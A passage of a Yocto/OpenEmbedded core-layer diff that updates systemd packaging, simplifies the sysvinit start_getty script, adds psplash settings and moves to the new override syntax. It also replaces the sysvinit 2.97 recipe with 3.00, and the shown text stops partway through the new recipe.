+ ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.import1.busname \
+ ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.machine1.busname \
+ ${systemd_system_unitdir}/local-fs.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/machines.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/remote-fs.target.wants/var-lib-machines.mount \
+ ${systemd_system_unitdir}/machine.slice \
+ ${systemd_system_unitdir}/machines.target \
+ ${systemd_system_unitdir}/org.freedesktop.import1.busname \
+ ${systemd_system_unitdir}/org.freedesktop.machine1.busname \
+ ${systemd_system_unitdir}/systemd-importd.service \
+ ${systemd_system_unitdir}/systemd-machined.service \
+ ${systemd_system_unitdir}/dbus-org.freedesktop.machine1.service \
+ ${systemd_system_unitdir}/var-lib-machines.mount \
+ ${rootlibexecdir}/systemd/systemd-import \
+ ${rootlibexecdir}/systemd/systemd-importd \
+ ${rootlibexecdir}/systemd/systemd-machined \
+ ${rootlibexecdir}/systemd/systemd-pull \
+ ${exec_prefix}/lib/tmpfiles.d/systemd-nspawn.conf \
+ ${exec_prefix}/lib/tmpfiles.d/README \
+ ${systemd_system_unitdir}/systemd-nspawn@.service \
+ ${libdir}/libnss_mymachines.so.2 \
+ ${datadir}/dbus-1/system-services/org.freedesktop.import1.service \
+ ${datadir}/dbus-1/system-services/org.freedesktop.machine1.service \
+ ${datadir}/dbus-1/system.d/org.freedesktop.import1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.machine1.conf \
+ ${datadir}/polkit-1/actions/org.freedesktop.import1.policy \
+ ${datadir}/polkit-1/actions/org.freedesktop.machine1.policy \
+ "
+
+# "machinectl import-tar" uses "tar --numeric-owner", not supported by busybox.
+RRECOMMENDS:${PN}-container += "\
+ ${PN}-journal-gatewayd \
+ ${PN}-journal-remote \
+ ${PN}-journal-upload \
+ kernel-module-dm-mod \
+ kernel-module-loop \
+ kernel-module-tun \
+ tar \
+ "
+
+FILES:${PN}-extra-utils = "\
+ ${base_bindir}/systemd-escape \
+ ${base_bindir}/systemd-inhibit \
+ ${bindir}/systemd-detect-virt \
+ ${bindir}/systemd-dissect \
+ ${bindir}/systemd-path \
+ ${bindir}/systemd-run \
+ ${bindir}/systemd-cat \
+ ${bindir}/systemd-delta \
+ ${bindir}/systemd-cgls \
+ ${bindir}/systemd-cgtop \
+ ${bindir}/systemd-stdio-bridge \
+ ${bindir}/systemd-sysext \
+ ${base_bindir}/systemd-ask-password \
+ ${base_bindir}/systemd-tty-ask-password-agent \
+ ${systemd_system_unitdir}/systemd-ask-password-console.path \
+ ${systemd_system_unitdir}/systemd-ask-password-console.service \
+ ${systemd_system_unitdir}/systemd-ask-password-wall.path \
+ ${systemd_system_unitdir}/systemd-ask-password-wall.service \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-ask-password-console.path \
+ ${systemd_system_unitdir}/sysinit.target.wants/systemd-ask-password-wall.path \
+ ${systemd_system_unitdir}/multi-user.target.wants/systemd-ask-password-wall.path \
+ ${rootlibexecdir}/systemd/systemd-resolve-host \
+ ${rootlibexecdir}/systemd/systemd-ac-power \
+ ${rootlibexecdir}/systemd/systemd-activate \
+ ${rootlibexecdir}/systemd/systemd-bus-proxyd \
+ ${systemd_system_unitdir}/systemd-bus-proxyd.service \
+ ${systemd_system_unitdir}/systemd-bus-proxyd.socket \
+ ${rootlibexecdir}/systemd/systemd-socket-proxyd \
+ ${rootlibexecdir}/systemd/systemd-reply-password \
+ ${rootlibexecdir}/systemd/systemd-sleep \
+ ${rootlibexecdir}/systemd/system-sleep \
+ ${systemd_system_unitdir}/systemd-hibernate.service \
+ ${systemd_system_unitdir}/systemd-hybrid-sleep.service \
+ ${systemd_system_unitdir}/systemd-suspend.service \
+ ${systemd_system_unitdir}/sleep.target \
+ ${rootlibexecdir}/systemd/systemd-initctl \
+ ${systemd_system_unitdir}/systemd-initctl.service \
+ ${systemd_system_unitdir}/systemd-initctl.socket \
+ ${systemd_system_unitdir}/sockets.target.wants/systemd-initctl.socket \
+ ${rootlibexecdir}/systemd/system-generators/systemd-gpt-auto-generator \
+ ${rootlibexecdir}/systemd/systemd-cgroups-agent \
+"
+
+FILES:${PN}-udev-rules = "\
+ ${rootlibexecdir}/udev/rules.d/70-uaccess.rules \
+ ${rootlibexecdir}/udev/rules.d/71-seat.rules \
+ ${rootlibexecdir}/udev/rules.d/73-seat-late.rules \
+ ${rootlibexecdir}/udev/rules.d/99-systemd.rules \
+"
+
+CONFFILES:${PN} = "${sysconfdir}/systemd/coredump.conf \
+ ${sysconfdir}/systemd/journald.conf \
+ ${sysconfdir}/systemd/logind.conf \
+ ${sysconfdir}/systemd/networkd.conf \
+ ${sysconfdir}/systemd/pstore.conf \
+ ${sysconfdir}/systemd/resolved.conf \
+ ${sysconfdir}/systemd/sleep.conf \
+ ${sysconfdir}/systemd/system.conf \
+ ${sysconfdir}/systemd/timesyncd.conf \
+ ${sysconfdir}/systemd/user.conf \
+"
+
+FILES:${PN} = " ${base_bindir}/* \
+ ${base_sbindir}/shutdown \
+ ${base_sbindir}/halt \
+ ${base_sbindir}/poweroff \
+ ${base_sbindir}/runlevel \
+ ${base_sbindir}/telinit \
+ ${base_sbindir}/resolvconf \
+ ${base_sbindir}/reboot \
+ ${base_sbindir}/init \
+ ${datadir}/dbus-1/services \
+ ${datadir}/dbus-1/system-services \
+ ${datadir}/polkit-1 \
+ ${datadir}/${BPN} \
+ ${datadir}/factory \
+ ${sysconfdir}/dbus-1/ \
+ ${sysconfdir}/modules-load.d/ \
+ ${sysconfdir}/pam.d/ \
+ ${sysconfdir}/profile.d/ \
+ ${sysconfdir}/sysctl.d/ \
+ ${sysconfdir}/systemd/ \
+ ${sysconfdir}/tmpfiles.d/ \
+ ${sysconfdir}/xdg/ \
+ ${sysconfdir}/init.d/README \
+ ${sysconfdir}/resolv-conf.systemd \
+ ${sysconfdir}/X11/xinit/xinitrc.d/* \
+ ${rootlibexecdir}/systemd/* \
+ ${libdir}/pam.d \
+ ${nonarch_libdir}/pam.d \
+ ${systemd_unitdir}/* \
+ ${base_libdir}/security/*.so \
+ /cgroup \
+ ${bindir}/systemd* \
+ ${bindir}/busctl \
+ ${bindir}/coredumpctl \
+ ${bindir}/localectl \
+ ${bindir}/hostnamectl \
+ ${bindir}/resolvectl \
+ ${bindir}/timedatectl \
+ ${bindir}/bootctl \
+ ${bindir}/oomctl \
+ ${exec_prefix}/lib/tmpfiles.d/*.conf \
+ ${exec_prefix}/lib/systemd \
+ ${exec_prefix}/lib/modules-load.d \
+ ${exec_prefix}/lib/sysctl.d \
+ ${exec_prefix}/lib/sysusers.d \
+ ${exec_prefix}/lib/environment.d \
+ ${localstatedir} \
+ ${rootlibexecdir}/modprobe.d/systemd.conf \
+ ${rootlibexecdir}/modprobe.d/README \
+ ${datadir}/dbus-1/system.d/org.freedesktop.timedate1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.locale1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.network1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.resolve1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.systemd1.conf \
+ ${@bb.utils.contains('PACKAGECONFIG', 'polkit_hostnamed_fallback', '${datadir}/dbus-1/system.d/org.freedesktop.hostname1_no_polkit.conf', '', d)} \
+ ${datadir}/dbus-1/system.d/org.freedesktop.hostname1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.login1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.timesync1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.portable1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.oom1.conf \
+ ${datadir}/dbus-1/system.d/org.freedesktop.home1.conf \
+ "
+
+FILES:${PN}-dev += "${base_libdir}/security/*.la ${datadir}/dbus-1/interfaces/ ${sysconfdir}/rpm/macros.systemd"
+
+RDEPENDS:${PN} += "kmod dbus util-linux-mount util-linux-umount udev (= ${EXTENDPKGV}) systemd-udev-rules util-linux-agetty util-linux-fsck"
+RDEPENDS:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', '', 'systemd-serialgetty', d)}"
+RDEPENDS:${PN} += "volatile-binds"
+
+RRECOMMENDS:${PN} += "systemd-extra-utils \
+ udev-hwdb \
+ e2fsprogs-e2fsck \
+ kernel-module-autofs4 kernel-module-unix kernel-module-ipv6 kernel-module-sch-fq-codel \
+ os-release \
+ systemd-conf \
+"
+
+INSANE_SKIP:${PN} += "dev-so libdir"
+INSANE_SKIP:${PN}-dbg += "libdir"
+INSANE_SKIP:${PN}-doc += " libdir"
+
+RPROVIDES:udev = "hotplug"
+
+RDEPENDS:udev-hwdb += "udev"
+
+FILES:udev += "${base_sbindir}/udevd \
+ ${rootlibexecdir}/systemd/network/99-default.link \
+ ${rootlibexecdir}/systemd/systemd-udevd \
+ ${rootlibexecdir}/udev/accelerometer \
+ ${rootlibexecdir}/udev/ata_id \
+ ${rootlibexecdir}/udev/cdrom_id \
+ ${rootlibexecdir}/udev/collect \
+ ${rootlibexecdir}/udev/dmi_memory_id \
+ ${rootlibexecdir}/udev/fido_id \
+ ${rootlibexecdir}/udev/findkeyboards \
+ ${rootlibexecdir}/udev/keyboard-force-release.sh \
+ ${rootlibexecdir}/udev/keymap \
+ ${rootlibexecdir}/udev/mtd_probe \
+ ${rootlibexecdir}/udev/scsi_id \
+ ${rootlibexecdir}/udev/v4l_id \
+ ${rootlibexecdir}/udev/keymaps \
+ ${rootlibexecdir}/udev/rules.d/50-udev-default.rules \
+ ${rootlibexecdir}/udev/rules.d/60-autosuspend.rules \
+ ${rootlibexecdir}/udev/rules.d/60-autosuspend-chromiumos.rules \
+ ${rootlibexecdir}/udev/rules.d/60-block.rules \
+ ${rootlibexecdir}/udev/rules.d/60-cdrom_id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-drm.rules \
+ ${rootlibexecdir}/udev/rules.d/60-evdev.rules \
+ ${rootlibexecdir}/udev/rules.d/60-fido-id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-input-id.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-alsa.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-input.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-storage.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-storage-tape.rules \
+ ${rootlibexecdir}/udev/rules.d/60-persistent-v4l.rules \
+ ${rootlibexecdir}/udev/rules.d/60-sensor.rules \
+ ${rootlibexecdir}/udev/rules.d/60-serial.rules \
+ ${rootlibexecdir}/udev/rules.d/61-autosuspend-manual.rules \
+ ${rootlibexecdir}/udev/rules.d/64-btrfs.rules \
+ ${rootlibexecdir}/udev/rules.d/70-joystick.rules \
+ ${rootlibexecdir}/udev/rules.d/70-memory.rules \
+ ${rootlibexecdir}/udev/rules.d/70-mouse.rules \
+ ${rootlibexecdir}/udev/rules.d/70-power-switch.rules \
+ ${rootlibexecdir}/udev/rules.d/70-touchpad.rules \
+ ${rootlibexecdir}/udev/rules.d/75-net-description.rules \
+ ${rootlibexecdir}/udev/rules.d/75-probe_mtd.rules \
+ ${rootlibexecdir}/udev/rules.d/78-sound-card.rules \
+ ${rootlibexecdir}/udev/rules.d/80-drivers.rules \
+ ${rootlibexecdir}/udev/rules.d/80-net-setup-link.rules \
+ ${rootlibexecdir}/udev/rules.d/81-net-dhcp.rules \
+ ${rootlibexecdir}/udev/rules.d/90-vconsole.rules \
+ ${rootlibexecdir}/udev/rules.d/README \
+ ${sysconfdir}/udev \
+ ${sysconfdir}/init.d/systemd-udevd \
+ ${systemd_system_unitdir}/*udev* \
+ ${systemd_system_unitdir}/*.wants/*udev* \
+ ${base_bindir}/systemd-hwdb \
+ ${base_bindir}/udevadm \
+ ${base_sbindir}/udevadm \
+ ${libexecdir}/${MLPREFIX}udevadm \
+ ${datadir}/bash-completion/completions/udevadm \
+ ${systemd_system_unitdir}/systemd-hwdb-update.service \
+ "
+
+FILES:udev-hwdb = "${rootlibexecdir}/udev/hwdb.d \
+ "
+
+RCONFLICTS:${PN} = "tiny-init ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolvconf', '', d)}"
+
+INITSCRIPT_PACKAGES = "udev"
+INITSCRIPT_NAME:udev = "systemd-udevd"
+INITSCRIPT_PARAMS:udev = "start 03 S ."
+
+python __anonymous() {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+
+ if bb.utils.contains('PACKAGECONFIG', 'repart', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'openssl', True, False, d):
+ bb.error("PACKAGECONFIG[repart] requires PACKAGECONFIG[openssl]")
+
+ if bb.utils.contains('PACKAGECONFIG', 'homed', True, False, d) and not bb.utils.contains('PACKAGECONFIG', 'userdb openssl cryptsetup', True, False, d):
+ bb.error("PACKAGECONFIG[homed] requires PACKAGECONFIG[userdb], PACKAGECONFIG[openssl] and PACKAGECONFIG[cryptsetup]")
+}
+
+python do_warn_musl() {
+ if d.getVar('TCLIBC') == "musl":
+ bb.warn("Using systemd with musl is not recommended since it is not supported upstream and some patches are known to be problematic.")
+}
+addtask warn_musl before do_configure
+
+ALTERNATIVE:${PN} = "halt reboot shutdown poweroff runlevel ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'resolv-conf', '', d)}"
+
+ALTERNATIVE_TARGET[resolv-conf] = "${sysconfdir}/resolv-conf.systemd"
+ALTERNATIVE_LINK_NAME[resolv-conf] = "${sysconfdir}/resolv.conf"
+ALTERNATIVE_PRIORITY[resolv-conf] ?= "50"
+
+ALTERNATIVE_TARGET[halt] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
+ALTERNATIVE_PRIORITY[halt] ?= "300"
+
+ALTERNATIVE_TARGET[reboot] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
+ALTERNATIVE_PRIORITY[reboot] ?= "300"
+
+ALTERNATIVE_TARGET[shutdown] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
+ALTERNATIVE_PRIORITY[shutdown] ?= "300"
+
+ALTERNATIVE_TARGET[poweroff] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
+ALTERNATIVE_PRIORITY[poweroff] ?= "300"
+
+ALTERNATIVE_TARGET[runlevel] = "${base_bindir}/systemctl"
+ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
+ALTERNATIVE_PRIORITY[runlevel] ?= "300"
+
+pkg_postinst:${PN}:libc-glibc () {
+ sed -e '/^hosts:/s/\s*\<myhostname\>//' \
+ -e 's/\(^hosts:.*\)\(\<files\>\)\(.*\)\(\<dns\>\)\(.*\)/\1\2 myhostname \3\4\5/' \
+ -i $D${sysconfdir}/nsswitch.conf
+}
+
+pkg_prerm:${PN}:libc-glibc () {
+ sed -e '/^hosts:/s/\s*\<myhostname\>//' \
+ -e '/^hosts:/s/\s*myhostname//' \
+ -i $D${sysconfdir}/nsswitch.conf
+}
+
+PACKAGE_WRITE_DEPS += "qemu-native"
+pkg_postinst:udev-hwdb () {
+ if test -n "$D"; then
+ $INTERCEPT_DIR/postinst_intercept update_udev_hwdb ${PKG} mlprefix=${MLPREFIX} binprefix=${MLPREFIX} rootlibexecdir="${rootlibexecdir}" PREFERRED_PROVIDER_udev="${PREFERRED_PROVIDER_udev}"
+ else
+ udevadm hwdb --update
+ fi
+}
+
+pkg_prerm:udev-hwdb () {
+ rm -f $D${sysconfdir}/udev/hwdb.bin
+}
diff --git a/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty b/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
index dfa799adac..699a1ead1a 100644
--- a/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
+++ b/meta/recipes-core/sysvinit/sysvinit-inittab/start_getty
@@ -1,17 +1,4 @@
#!/bin/sh
-###############################################################################
-# This script is used to automatically set up the serial console(s) on startup.
-# The variable SERIAL_CONSOLES can be set in meta/conf/machine/*.conf.
-# Script enhancement has been done based on Bug YOCTO #10844.
-# Most of the information is retrieved from /proc virtual filesystem containing
-# all the runtime system information (eg. system memory, device mount, etc).
-###############################################################################
-
-# Get active serial filename.
-active_serial=$(grep "serial" /proc/tty/drivers | cut -d/ -f1 | sed "s/ *$//")
-
-# Rephrase input parameter from ttyS target index (ttyS1, ttyS2, ttyAMA0, etc).
-runtime_tty=$(echo $2 | grep -oh '[0-9]\+')
# busybox' getty does this itself, util-linux' agetty needs extra help
getty="/sbin/getty"
@@ -25,31 +12,6 @@ case $(readlink -f "${getty}") in
;;
esac
-# Backup $IFS.
-DEFAULT_IFS=$IFS
-# Customize Internal Field Separator.
-IFS="$(printf '\n\t')"
-
-for line in $active_serial; do
- # Check we have the file containing current active serial target index.
- if [ -e "/proc/tty/driver/$line" ]
- then
- # Remove all unknown entries and discard the first line (desc).
- activetty=$(grep -v "unknown" "/proc/tty/driver/$line" \
- | tail -n +2 | grep -oh "^\s*\S*[0-9]\+")
- for active in $activetty; do
- # If indexes do match then enable the serial console.
- if [ $active -eq $runtime_tty ]
- then
- if [ -c /dev/$2 ]
- then
- ${setsid:-} ${getty} -L $1 $2 $3
- fi
- break
- fi
- done
- fi
-done
-
-# Restore $IFS.
-IFS=$DEFAULT_IFS
+if [ -e /sys/class/tty/$2 -a -c /dev/$2 ]; then
+ ${setsid:-} ${getty} -L $1 $2 $3
+fi
diff --git a/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb b/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
index 8781492d47..bfcf51c35a 100644
--- a/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
+++ b/meta/recipes-core/sysvinit/sysvinit-inittab_2.88dsf.bb
@@ -1,6 +1,6 @@
SUMMARY = "Inittab configuration for SysVinit"
LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/files/common-licenses/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6"
PR = "r10"
@@ -53,14 +53,14 @@ EOF
fi
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
# run this on host and on target
if [ "${SERIAL_CONSOLES_CHECK}" = "" ]; then
exit 0
fi
}
-pkg_postinst_ontarget_${PN} () {
+pkg_postinst_ontarget:${PN} () {
# run this on the target
if [ -e /proc/consoles ]; then
tmp="${SERIAL_CONSOLES_CHECK}"
@@ -84,10 +84,10 @@ fi
# Set PACKAGE_ARCH appropriately.
PACKAGE_ARCH = "${MACHINE_ARCH}"
-FILES_${PN} = "${sysconfdir}/inittab ${base_bindir}/start_getty"
-CONFFILES_${PN} = "${sysconfdir}/inittab"
+FILES:${PN} = "${sysconfdir}/inittab ${base_bindir}/start_getty"
+CONFFILES:${PN} = "${sysconfdir}/inittab"
USE_VT ?= "1"
SYSVINIT_ENABLED_GETTYS ?= "1"
-RCONFLICTS_${PN} = "busybox-inittab"
+RCONFLICTS:${PN} = "busybox-inittab"
diff --git a/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch b/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
index 494aa0e012..17f72b4829 100644
--- a/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/pidof-add-m-option.patch
@@ -10,7 +10,7 @@ each other's pids.
https://bugzilla.redhat.com/show_bug.cgi?id=883856
-Upstream-Status: backport
+Upstream-Status: Backport
Imported patch from: https://bugzilla.redhat.com/attachment.cgi?id=658166
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
diff --git a/meta/recipes-core/sysvinit/sysvinit/rc b/meta/recipes-core/sysvinit/sysvinit/rc
index d0d3149821..41196ec90b 100755
--- a/meta/recipes-core/sysvinit/sysvinit/rc
+++ b/meta/recipes-core/sysvinit/sysvinit/rc
@@ -17,6 +17,7 @@
. /etc/default/rcS
export VERBOSE
+export PSPLASH_FIFO_DIR
startup_progress() {
step=$(($step + $step_change))
@@ -27,7 +28,7 @@ startup_progress() {
fi
#echo "PROGRESS is $progress $runlevel $first_step + ($step of $num_steps) $step_change $progress_size"
if type psplash-write >/dev/null 2>&1; then
- PSPLASH_FIFO_DIR=/mnt/.psplash psplash-write "PROGRESS $progress" || true
+ psplash-write "PROGRESS $progress" || true
fi
}
@@ -159,6 +160,9 @@ startup() {
#
[ -f $previous_start ] && [ ! -f $stop ] && continue
fi
+ if [ x"${PSPLASH_TEXT_UPDATES}" = x"yes" ]; then
+ psplash-write "MSG $(basename $i .sh | cut -c 4-)" || true
+ fi
case "$runlevel" in
0|6)
startup $i stop
@@ -173,7 +177,6 @@ startup() {
#Uncomment to cause psplash to exit manually, otherwise it exits when it sees a VC switch
if [ "x$runlevel" != "xS" ] && [ ! -x /etc/rc${runlevel}.d/S??xserver-nodm ]; then
if type psplash-write >/dev/null 2>&1; then
- PSPLASH_FIFO_DIR=/mnt/.psplash psplash-write "QUIT" || true
- umount -l /mnt/.psplash
+ psplash-write "QUIT" || true
fi
fi
diff --git a/meta/recipes-core/sysvinit/sysvinit/rcS-default b/meta/recipes-core/sysvinit/sysvinit/rcS-default
index 709cdf6ec5..f7c4a2f841 100644
--- a/meta/recipes-core/sysvinit/sysvinit/rcS-default
+++ b/meta/recipes-core/sysvinit/sysvinit/rcS-default
@@ -27,3 +27,10 @@ VOLATILE_ENABLE_CACHE=yes
# Setting ROOTFS_READ_ONLY to yes and rebooting will give you a read-only rootfs.
# Normally you should not change this value.
ROOTFS_READ_ONLY=no
+# rcS is also used when using busybox init and shares initscripts, some initscripts
+# need to have specific behavior depending on init system
+INIT_SYSTEM=sysvinit
+# set the psplash fifo directory
+PSPLASH_FIFO_DIR=/mnt
+# psplash textual updates knob
+PSPLASH_TEXT_UPDATES=#PSPLASH_TEXT#
diff --git a/meta/recipes-core/sysvinit/sysvinit/realpath.patch b/meta/recipes-core/sysvinit/sysvinit/realpath.patch
index 859fd8baad..b559aa3b49 100644
--- a/meta/recipes-core/sysvinit/sysvinit/realpath.patch
+++ b/meta/recipes-core/sysvinit/sysvinit/realpath.patch
@@ -7,7 +7,7 @@ Subject: [PATCH] Fix build on musl use realpath() API its available on all
realpath() API doesnt work on systems with PATH_MAX set to be unlimited e.g. GNU/Hurd
However for Linux it should always work
-Upstream-Status: Inappropriate[Linux specific]
+Upstream-Status: Inappropriate [Linux specific]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
diff --git a/meta/recipes-core/sysvinit/sysvinit_2.97.bb b/meta/recipes-core/sysvinit/sysvinit_2.97.bb
deleted file mode 100644
index 98916f7f19..0000000000
--- a/meta/recipes-core/sysvinit/sysvinit_2.97.bb
+++ /dev/null
@@ -1,112 +0,0 @@
-SUMMARY = "System-V like init"
-DESCRIPTION = "This package is required to boot in most configurations. It provides the /sbin/init program. This is the first process started on boot, and the last process terminated before the system halts."
-HOMEPAGE = "http://savannah.nongnu.org/projects/sysvinit/"
-SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://COPYRIGHT;endline=15;md5=a1d3b3526501d3546d530bbe6ab6cdbe \
- "
-
-RDEPENDS_${PN} = "${PN}-inittab"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/sysvinit/sysvinit-${PV}.tar.xz \
- file://install.patch \
- file://crypt-lib.patch \
- file://pidof-add-m-option.patch \
- file://realpath.patch \
- file://0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch \
- file://rcS-default \
- file://rc \
- file://rcS \
- file://bootlogd.init \
- file://01_bootlogd \
- "
-SRC_URI[sha256sum] = "2d5996857519bfd8634d2e1debabb3238fb38440f65fbfdc46420ee8bdf25110"
-
-S = "${WORKDIR}/sysvinit-${PV}"
-
-inherit update-alternatives features_check
-DEPENDS_append = " update-rc.d-native base-passwd virtual/crypt"
-do_package_setscene[depends] = "${MLPREFIX}base-passwd:do_populate_sysroot"
-
-REQUIRED_DISTRO_FEATURES = "sysvinit"
-
-ALTERNATIVE_${PN} = "init mountpoint halt reboot runlevel shutdown poweroff last lastb mesg utmpdump wall"
-
-ALTERNATIVE_PRIORITY = "200"
-
-ALTERNATIVE_LINK_NAME[init] = "${base_sbindir}/init"
-ALTERNATIVE_PRIORITY[init] = "50"
-
-ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
-ALTERNATIVE_PRIORITY[mountpoint] = "20"
-
-ALTERNATIVE_LINK_NAME[halt] = "${base_sbindir}/halt"
-ALTERNATIVE_LINK_NAME[reboot] = "${base_sbindir}/reboot"
-ALTERNATIVE_LINK_NAME[runlevel] = "${base_sbindir}/runlevel"
-ALTERNATIVE_LINK_NAME[shutdown] = "${base_sbindir}/shutdown"
-ALTERNATIVE_LINK_NAME[poweroff] = "${base_sbindir}/poweroff"
-
-ALTERNATIVE_${PN}-pidof = "pidof"
-ALTERNATIVE_LINK_NAME[pidof] = "${base_bindir}/pidof"
-
-ALTERNATIVE_${PN}-sulogin = "sulogin"
-ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
-
-ALTERNATIVE_${PN}-doc = "mountpoint.1 last.1 lastb.1 mesg.1 wall.1 sulogin.8 utmpdump.1"
-
-ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
-ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
-ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
-ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
-ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
-ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
-ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
-
-PACKAGES =+ "sysvinit-pidof sysvinit-sulogin"
-FILES_${PN} += "${base_sbindir}/* ${base_bindir}/*"
-FILES_sysvinit-pidof = "${base_bindir}/pidof.sysvinit ${base_sbindir}/killall5"
-FILES_sysvinit-sulogin = "${base_sbindir}/sulogin.sysvinit"
-
-RDEPENDS_${PN} += "sysvinit-pidof initd-functions base-passwd"
-
-CFLAGS_prepend = "-D_GNU_SOURCE "
-export LCRYPT = "-lcrypt"
-EXTRA_OEMAKE += "'base_bindir=${base_bindir}' \
- 'base_sbindir=${base_sbindir}' \
- 'bindir=${bindir}' \
- 'sbindir=${sbindir}' \
- 'sysconfdir=${sysconfdir}' \
- 'includedir=${includedir}' \
- 'mandir=${mandir}' \
- MNTPOINT=yes"
-
-do_install () {
- oe_runmake 'ROOT=${D}' install
-
- install -d ${D}${sysconfdir} \
- ${D}${sysconfdir}/default \
- ${D}${sysconfdir}/init.d
- for level in S 0 1 2 3 4 5 6; do
- install -d ${D}${sysconfdir}/rc$level.d
- done
-
- install -m 0644 ${WORKDIR}/rcS-default ${D}${sysconfdir}/default/rcS
- install -m 0755 ${WORKDIR}/rc ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/rcS ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/bootlogd.init ${D}${sysconfdir}/init.d/bootlogd
- ln -sf bootlogd ${D}${sysconfdir}/init.d/stop-bootlogd
-
- update-rc.d -r ${D} bootlogd start 07 S .
- update-rc.d -r ${D} stop-bootlogd start 99 2 3 4 5 .
-
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/01_bootlogd ${D}${sysconfdir}/default/volatiles
-
- chown root:shutdown ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
- chmod o-x,u+s ${D}${base_sbindir}/halt ${D}${base_sbindir}/shutdown
-
- # Already provided by e2fsprogs; sysvinit's version is a copy from there
- rm ${D}${base_sbindir}/logsave
- rm ${D}${mandir}/man8/logsave.8
-}
diff --git a/meta/recipes-core/sysvinit/sysvinit_3.00.bb b/meta/recipes-core/sysvinit/sysvinit_3.00.bb
new file mode 100644
index 0000000000..264944797d
--- /dev/null
+++ b/meta/recipes-core/sysvinit/sysvinit_3.00.bb
@@ -0,0 +1,117 @@
+SUMMARY = "System-V like init"
+DESCRIPTION = "This package is required to boot in most configurations. It provides the /sbin/init program. This is the first process started on boot, and the last process terminated before the system halts."
+HOMEPAGE = "http://savannah.nongnu.org/projects/sysvinit/"
+SECTION = "base"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
+ file://COPYRIGHT;endline=15;md5=a1d3b3526501d3546d530bbe6ab6cdbe \
+ "
+
+RDEPENDS:${PN} = "${PN}-inittab"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/sysvinit/sysvinit-${PV}.tar.xz \
+ file://install.patch \
+ file://crypt-lib.patch \
+ file://pidof-add-m-option.patch \
+ file://realpath.patch \
+ file://0001-include-sys-sysmacros.h-for-major-minor-defines-in-g.patch \
+ file://rcS-default \
+ file://rc \
+ file://rcS \
+ file://bootlogd.init \
+ file://01_bootlogd \
+ "
+SRC_URI[sha256sum] = "ed6bc20adb6735389841e7d3eb8650fa750c76af20bf4ed73b1330a4d4c14017"
+
